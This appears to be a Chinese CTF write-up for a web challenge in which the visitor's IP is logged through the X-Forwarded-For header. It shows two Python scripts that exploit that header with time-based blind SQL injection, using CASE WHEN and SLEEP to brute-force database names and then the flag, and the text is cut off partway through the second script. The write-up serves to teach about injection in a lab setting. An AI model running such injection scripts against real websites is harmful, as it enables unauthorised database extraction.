Tag:实验吧

Tag (实验吧)'s result:

实验吧ctf->web.whoareyou writeup

www.shiyanbar.com/ctf/1941 我要把攻击我的人都记录db中去!   一看题目,初步的想法就是记录访问ip到数据库,再打印返回。 明显就是有注入了。 接着就没思路了,看看高手们的writeup,额,时间盲注,没怎么玩过,真尴尬…… 由于是记录ip,所以想到请求头中和ip有关的字段如下: X-Forwarded-For Client-IP x-remote-IP x-originating-IP x-remote-addr 这里用Client-IP不行,接着尝试X-Forwarded-For成功伪造ip,关于X-Forwarded-For字段可以参考简谈X-Forwarded-For的一些事 还有如果有逗号则只保留逗号前面的内容,估计是取client。不影响盲注。 参考网上的脚本(来源:blog.csdn.net/qq_35078631/article/details/54773769): # -*- coding:utf-8 -*- import requests import string url = “http://ctf5.shiyanbar.com/web/wonderkun/index.php” guess = string.lowercase+string.uppercase+string.digits+string.punctuation database=[] for database_number in range(0,100): #假设爆破前100个库 databasename=” for i in range(1,100): #爆破字符串长度,假设不超过100长度 flag=0 for str in guess: #爆破该位置的字符 #print ‘trying ‘,str headers = {“X-forwarded-for”:”‘+”+” (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)=’%s’) then sleep(5) else 1 end) and ‘1’=’1″%(database_number,i,str)} try: res=requests.get(url,headers=headers,timeout=4) except: databasename+=str flag=1 print ‘正在爆破第%d个数据库名,the databasename now is ‘%(database_number+1) ,databasename break if flag==0: break database.append(databasename) if i==1 and flag==0: print ‘扫描完成’ break for i in range(len(database)): print database[i] 稍微解释下sql语句的几个部分: SUBSTRING(str FROM pos FOR len): 从第pos个字符开始到len长的字符。   Case when then else end –简单Case函数CASE sex WHEN ‘1’ THEN ‘男’ WHEN ‘2’ THEN ‘女’ ELSE ‘其他’ END –Case搜索函数 CASE WHEN sex = ‘1’ THEN ‘男’ WHEN sex = ‘2’ THEN ‘女’ ELSE ‘其他’ END   limit offset连用 ① select * from table limit 2,1; //含义是跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据 ② select * from table limit 2 offset 1; //含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条   同理根据位置查询出表名flag,列名flag(直接猜也行)。 最后查询flag内容(脚本来源:http://blog.csdn.net/qq_35078631/article/details/54773769) #-*-coding:utf-8-*- import requests import string url=”http://ctf5.shiyanbar.com/web/wonderkun/index.php” guess=string.lowercase + string.uppercase + string.digits flag=”” for i in range(1,100): havetry=0 for str in guess: headers={“x-forwarded-for”:”‘ +(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(7) else 1 end ) and ‘1’=’1″……